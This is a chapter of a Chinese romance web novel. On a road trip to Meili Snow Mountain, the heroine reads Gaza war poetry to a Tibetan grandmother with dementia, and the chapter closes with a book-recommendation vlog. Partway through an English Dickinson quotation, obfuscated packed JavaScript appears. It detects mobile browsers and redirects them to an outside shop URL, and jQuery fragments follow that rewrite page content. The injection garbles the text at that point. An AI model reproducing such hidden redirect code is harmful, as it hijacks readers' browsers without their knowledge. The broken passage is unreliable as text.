出发前，还是时樾给轮胎补了气。


    告别大尾巴，越野车跑起来格外轻巧。景夏开得格外轻松，甚至跟着音乐哼起了歌。


    “我为自己留下的空白是一处隽永的释怀


    如果失～去～是重来就不会太——慢才——明白——明明明——*”


    猛找音调，终于——“明白！”


    哼着哼着，她猛一扭头看时樾，发现他笑了。被她五音不全、气若游丝的假声唱法逗笑了。


    “咳。”景夏噤声了，然后，“噗——”


    确实有点搞笑。


    这几天时阴时雨，今天太阳露了头。


    从香格里拉出发沿着G214一路飞驰，第一次停靠是在噶丹松赞林寺观景台。碧绿的草甸向远处伸展，松赞林寺庞大建筑群的白墙金顶庄严神圣，在初升的阳光下闪耀着。


    景夏使唤时樾举起小狗，“再往左边一点点！”


    时樾侧身，手臂伸直，“这样？”


    “对对保持！三——二——”


    摁下拍摄的前一秒，她调整焦距，画面从小狗松赞林寺，扩大到小狗时樾和松赞林寺。


    哈巴雪山的巍峨，帕纳海的静谧，金沙江U型大拐弯的壮阔，白马垭口4292的标志，都留下了他们的脚步和身影。


    五年前，时樾第一次来长市，在电玩城的镜面墙，她对镜拍下两人并肩而立的照片。


    那时候，他们不敢太亲密。男孩挂着刻意按耐的笑容，稍微侧身呈靠近的姿势，但手臂收得很近，生怕唐突。她上半身倾向他，但手背在身后，也怕唐突。


    谁都没想到，那会是他们彼此之间唯一的合照，也是景夏手机里关于时樾的唯一一张照片。


    异地恋见面不易，所以在一起的时间总是有说不完的话，恨不得一分一秒掰开来过，也记不起来拍照。


    很多情侣分手后，清理相册都要花大功夫，甚至分手很久之后，还会在不经意间发现还留存的痕迹，或是一张美食照右上角露出的手，或是共同好友无意中提起的一句话。但景夏只花了一秒，只一秒，对方便从生活中消失的无影无踪。


    两个相切的圆失去那一个切点，仿佛从未有过交集。


    走走停停，于午后三点抵达飞来寺观景台。


    这里直面梅里十三峰，是最佳观景位，正值暑假，哪怕是雨季、哪怕雪山在厚厚的云中隐去阵容，来往游客依然众多。


    景夏挠挠头，吸吸鼻子，“找个地方歇着吧，今天肯定没戏。”


    “上车，穿衣服。”时樾催促。


    八月份的下午，她在短袖外套了一件抓绒，扣上鸭舌帽。


    从观景台停车场出去已经开始拥堵，几辆大巴车靠边停，像下饺子一样吐出一个又一个游客。跟在后头的大多是商务车，从车身印着的字看都是精品游客团。


    景夏跟着前车向前挪动，朝左侧更加拥堵的巷子张望，两边民宿、供氧酒店、餐厅的招牌林立，但比招牌更多的是人头，“不知道还有空房吗？”


    时樾翻看旅行app，“离观景台最近的都是满房。”


    她忧郁，“哎。”


    本来没打算在飞来寺住一晚的，毕竟雨季，能看到日照金山的概率非常非常非常低。但是在白马垭口碰到了一组包车的姑娘，司机是本地藏族大叔，说三天前有，今天风大明天也有可能。


    景夏当即决定赌这一次。结果就是毫无准备。


    “雾浓顶的也满房。”时樾说。


    “不然算了。”景夏接受现实，在导航上输入德钦县三个字，“大不了明天凌晨三点开车上山。”


    ——据那位大叔说最近旺季人特别多，到飞来寺的路凌晨四点就开始堵。


    时樾突然说：“半山腰有一个藏族民宿，在飞来寺寺庙附近，离观景台一公里。”


    “我看看？”景夏伸过脑袋。


    首图就是大床房，全屋都是黄棕色木质装潢，电视淋浴一应俱全，吸顶灯还是红色镂空的藏饰风格，像建筑外观的红屋檐白圆圈。


    “好像还可以。不知道能带狗吗？”


    时樾说，“带不了我陪奇迹住车里。”


    景夏蹙眉，“这儿晚上应该很冷——”


    “小狗会感冒。”


    “我没事……嗯。”


    两人对视，时樾垂下眼皮并语塞，景夏笑出声。


    “可以带可以带。”老板是位飒爽干练的藏族女人，招呼两人一狗进屋，“几间房？”


    进门是大开间，一人宽的炕挨两面墙呈L状，上面摆着铺盖。景夏环视一圈，“两间。”


    “好呢，等一下。先坐。”


    正对的炕上坐着几个户外打扮的男女，应该是驴友。他们去另一侧坐下，景夏才发现，茶几边上是口炉子，脚伸近些暖洋洋的。炉子边，一位着藏族传统服饰的奶奶一动不动地坐着，双腿并拢双手交叠，被皱纹侵蚀的眼皮半垂，眼神混沌。


    她不由多看了几眼。


    过了会，老板从楼梯口招手，“两位，房间好了。我带你们上去。”


    “好的。”包本来在脚边，景夏却提了个空。时樾一手拎俩包，一手抱起奇迹，“你先走。”


    楼梯狭窄，偏高。老板一边走一边向后提醒，“小心啊！”


    然后景夏扭头提醒，“时樾。”


    时樾比她低两节台阶，“扶好。”


    当景夏栽进软乎乎的两米大床，从左边沿翻到右边沿，又从右边沿翻回来，美得不得了。


    房车的床说小不小，但和正儿八经的床相比，还是稍显局促。


    睡了一个有点晚的午觉，景夏抱着保温杯和没读完的诗集下楼。刚从楼梯口出来，一个光屁股小孩就抱住了她的腿。


    景夏大惊。


    “不好意思不好意思！”老板追过来，将小孩一把提溜起来，piapia地打屁股，“跑什么跑！洗澡！”


    “呜哇——”小孩号啕大哭四肢挣扎，终究还是被扔进了热汽腾腾的澡盆。


    “砰！”卫生间门一关，忍耐的笑声驱散大厅的安静。


    景夏好笑地摇头，带着奇迹绕过几个坐小凳子的住客和更热乎的炉子，在时樾旁边的空档坐下。


    他带着眼镜，正边烤火边刷手机。


    “没睡一会？”


    时樾抱起奇迹，“没有，不困。”


    右手边，藏族奶奶还坐在原位，连姿势都和三个小时前分毫不差。景夏蹙眉。


    “奶奶年龄大糊涂了。应该是阿尔茨海默。”


    景夏惊讶地看时樾，“嗯？”


    “老板说的。”他指了下紧闭的卫生间门，隐约还能听到小孩哭得筋疲力竭的抽噎。


    “啊……”她暗自唏嘘。


    这是一本朴素有力的诗集，简单的语言背后是战争中无尽的悲哀。读者会被一字一句击中。景夏很翻到夹着书签那页。


    《无声地抽泣》


    我希望我醒来以后发现一整天都有电


    我希望我能再次听见鸟的歌唱，而不是枪击和无人机的嗡鸣——


    口袋里手机嗡鸣起来。


    掏出来一看，她姐。书扣在腿上，“姐。”


    “拿到一批侵权人信息了，今天提交到法院立案。”景浛开门见山，“周期可能会很长，一年两年也是有可能的。先有个心理准备。”


    景夏闭了闭眼，只觉脚踩的方寸之地更加坚实，又滋生出无尽的力量，“好，我明白。谢谢姐。”


    景浛用鼻子出声作为回应，“在哪玩呢？”


    她生疏地汇报行程，“现在在——迪庆藏族自治州，梅里雪山。”


    “还是一个人？”


    景夏挠头，“……啊内个——”


    “好知道了。挂了。”


    “……？”她对着嘟嘟响的盲音失笑。


    继续看书。


    【我不怕死亡。我已经准备好了，但我也并不想等待死亡。”


    他讨厌等待。


    他问死神能不能等他写完最近写的诗之后再来。


    他望着镜子里的自己，把一枝新鲜的玫瑰


    插在衣领上，迎接即将开始的漫长旅程。】


    胳膊肘被时樾的胳膊肘碰了一下。景夏惊觉，捂嘴悄悄地问：“我是不是读出声了？”


    她读诗的时候习惯发出声音，她喜欢文字流动的感觉和唇齿间跳跃的韵律。


    时樾先点头，转而冲她旁边抬下巴示意。


    “啊？”景夏不明就里，朝右手一看，发现那双浑浊苍老的眼睛正对着她。


    “奶、奶奶？”她迟疑。


    藏族奶奶自是不会回答。


    一个匪夷所思的念头浮现在脑海中。景夏翻了一页书，继续读道：“座城市空无一物，除了一个个凹坑/我唯一的选择就是踏上一条崭新的、无人走过的路。”


    奶奶饱经沧桑的黝黑面容上皱纹纵横，像一道道被风侵蚀的山谷。亮粉紫的衣袖、红紫蓝黄绿相间的条纹裙包裹着那佝偻的身躯。她似乎在听。


    景夏问时樾：“你说她能听懂汉语吗？”


    “刚才老板让她喝水说的是藏语。应该是听不懂的。”


    “在加沙，一部分我们甚至没法彻底死去/每当炸弹袭击，每当弹片击中我们的坟墓/每当碎石落在我们头上/我们就会从暂时的死亡中苏醒一会儿。”


    景夏回视。奶奶的目光始终落在她不断翕动的唇上，像是在借助嘴形辨认一个又一个字。


    景夏想了想，又背道：“Thereisnofrigatelikeabook/totakeus


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299189|198260||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    Landsaway/Noranycauserslikeapage/ofprancingpoetry——”（没有一艘战舰能像一本书/带我们抵达辽远的疆土/没有一匹骏马/像腾跃的诗——）


    向内萎缩的两瓣嘴唇弯了，露出为数不多的几颗牙，方方的下巴随笑容前倾，眸子还是浑浊的。但谁说浑浊的玻璃，无法投射至纯至净的光芒。


    景夏难以置信，本能想抓点什么，于是抓住了时樾的手。那只温热的大手翻过来，掌心向上，轻轻捏了捏。


    她看过去，时樾淡笑着点点头。


    “Thistraversemaythepooresttake/withoutoppressofToll—HowfrugalistheChariot/Thatbearsthehumansoul.”（使穷困之人免受劳苦/纵横四方—多么廉价的战车，承载人类的灵魂。**）


    不知何时卫生间的门开了，老板在围裙上擦着手，弯腰看奶奶的表情，说了几句景夏听不懂的藏语。


    察觉她的眼神，老板笑道：“妈妈糊涂以后听不懂话，就喜欢唱歌听歌。”


    屋外有人喊了一声：“云散了！能看到雪山！”


    一时间，游客们哗啦啦全都冲了出去。


    景夏和时樾也走进院子里。


    民宿在半山腰，四处有树和建筑遮挡，只能看到缅茨姆锋利的边缘直冲云霄。


    他们在梅里十三峰的东侧，日落的光恰好是反方向。面朝暗面，景夏想象着此刻另一侧燃烧的山巅。


    两人并肩，景夏将尚留温度的手塞进抓绒口袋，“你知道我从长市出发的时候在想什么吗？”


    “在想什么？”许是黄昏，时樾和记忆里一样温柔。


    “在想，我喜欢的想做的事情，在世俗意义上好像一点价值都没有。网上骂我骂得挺对，我找不到任何反驳的理由。”她抿唇，“那会老是失眠，胡思乱想，觉得自己好像要消失了——精神层面的消失。然后呢，某一天，我突然刷到一个帖子介绍德钦县，题目是‘雪山脚下一座即将消失的城镇’。”


    景夏笑了下，“怎么说呢？就是突然被戳中的感觉。当即我就租了辆房车，收拾了几箱书、三盆绿植，提着蝈蝈，出发了。不知道为什么这一路走，我都坚信那里能给我答案。”


    景夏目视前方，眼底应着日落的彩云，“你说明天到了，要还是没答案怎么办？”


    时樾看她，“没有答案，也是一种答案。”


    她抬眉，“也是……就和音乐一样。”


    “就和诗一样。”


    两人相视一笑。


    神女峰在渐暗的天光中露出本来的色彩。


    景夏背诵着浮现在脑海中的诗，这次，她没发出声音。


    【我不再爱她，这是确定的，


    但也许我爱她。


    爱情太短，而遗忘太长。***】


    ——————


    8月8日，自驾书单第7期


    推荐书目，莫萨布·阿布·托哈《玫瑰朝上》


    “诗是一种高度凝练的文体。高度凝练，意味着丰富的意象和跳跃的笔触让读者很难理解。所以有人批评现代诗没有标准，散文换行就叫诗，纯属圈内人的自娱自乐。”


    “都说读书是一种私密的体验，那么读诗就是私密中的私密。之前从来没推荐过诗集，就是这个原因。但作为自己的阅读记录，我就按照我自己的感受来表达。”


    “我认为诗可以华美可以朴素，可以换行可以不换行，不拘泥于形式，甚至不拘泥于语言，只在于意象的流动带来情感的共鸣。”


    “这本诗集来自巴勒斯坦诗人，内容关于饱经战火摧残的加沙地带，关于生与死、战争与和平的哲思，关于活着的生活，关于死了的生活。语言并不华美，意象并不特殊，但读起来就是会让我共情，并为简洁诗句背后无尽的坚韧感动。”


    景夏盘腿坐在床边，奇迹的头正搭在她的腿上。


    她想到了一路上的种种，想到唐卡图案的解读，想到时樾喑哑的歌声，想到藏族奶奶的笑容。


    “衷心感谢大家的打赏。但就像我几年前说的，大家不需要在我身上投入金钱，拿起书、读书、享受读书，就是对我最大的支持。”


    “我会拿起法律的武器，起诉任何胆敢继续造谣、传播不实信息、对我和家人侮辱骚扰的人。请大家文明理性文明上网。”


    “废墟中昂首挺立的玫瑰，是诗歌，也是生命。****”


    景夏冲镜头微笑，“晚安。”


    衍生书单：


    《我将宇宙随身携带》佩索阿


    《另一个同一个》博尔赫斯


    《孤独是迷人的》艾米莉·狄金森